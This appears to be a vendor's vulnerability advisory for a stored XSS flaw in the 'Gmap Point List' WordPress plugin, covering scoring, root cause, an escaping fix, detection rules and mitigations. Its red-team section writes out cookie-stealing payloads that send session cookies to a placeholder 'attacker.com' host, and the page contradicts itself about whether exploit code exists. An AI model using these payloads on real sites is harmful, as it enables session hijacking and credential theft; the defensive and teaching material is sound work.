CVE-2024-51594
Executive Summary
CVE-2024-51594 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Gmap Point List" by Rafel.sanso, affecting versions through 1.1.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network attack vector, low attack complexity, and required user interaction. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. Since it is a WordPress plugin, it is distributed via the WordPress plugin repository or directly by the vendor. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click or view the injected content.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin. An attacker can persistently compromise user sessions and perform actions on behalf of authenticated users.
Deep Dive & Mechanics
The vulnerability exists in the gmap-point-list WordPress plugin, which allows users to create and display lists of locations on a Google Map. The plugin fails to properly sanitize user input when adding or editing map points. Specifically, fields such as the point title, description, or custom data are not neutralized before being stored in the database and later rendered on the page.
Attack Flow:
- An attacker identifies a WordPress site running the vulnerable plugin (version <= 1.1.2).
- The attacker submits a new map point via the plugin's frontend or backend interface, injecting a malicious payload into a text field (e.g.,
<script>alert('XSS')</script>). - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or visitor views the map point list, the payload is executed in their browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the user.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()) or output encoding.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (example from plugin):
// In a template file or shortcode handler
echo '<div class="gmap-point">' . $point_title . '</div>';
Patched Code (recommended):
// Properly escape output
echo '<div class="gmap-point">' . esc_html( $point_title ) . '</div>';
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Additionally, input validation should be applied before storage using sanitize_text_field() or wp_kses().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with Gmap Point List plugin version <= 1.1.2.
- Ability to submit a new map point (may require user registration or admin access).
Exploitation Steps:
- Navigate to the map point submission form (e.g.,
/wp-admin/admin.php?page=gmap-point-listor a frontend form). - In the "Title" or "Description" field, inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- When an admin or visitor views the map point list, the script executes, sending cookies to the attacker's server.
Alternative Payload (for session hijacking):
<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual POST requests to plugin endpoints (e.g.,
admin-ajax.phpwith actiongmap_point_list_save). - Look for script tags or event handlers in submitted data.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Hardening:
- Disable or remove the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Apply input validation and output encoding manually if you must keep the plugin.
Indicators of Compromise (IOCs)
- File Hashes (plugin files): Unknown (no patch available).
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - HTTP requests containing
<script>tags oronerrorhandlers in POST data.
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- WordPress debug log entries showing unescaped output.
- Web server logs with
POSTtoadmin-ajax.phpwith suspicious payloads.
- Database Indicators:
- Rows in
wp_postmetaor custom plugin tables containing JavaScript code.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2024_51594_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Gmap Point List plugin data"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51594"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Gmap Point List Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0e9a7c
status: experimental
description: Detects potential stored XSS attempts targeting the Gmap Point List WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=gmap_point_list_save'
cs-request-body|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in map point descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51594 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=gmap_point_list_save"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- If disabling is not possible, restrict access to the plugin's admin pages via
.htaccessor a security plugin. - Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-Term Fix:
- The vendor must release a patched version that properly sanitizes input and escapes output. Until then, consider replacing the plugin with an alternative.
Workaround:
- Manually edit the plugin files to add output escaping (e.g.,
esc_html()) around all user-supplied data. This requires developer expertise and will be overwritten on plugin updates.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.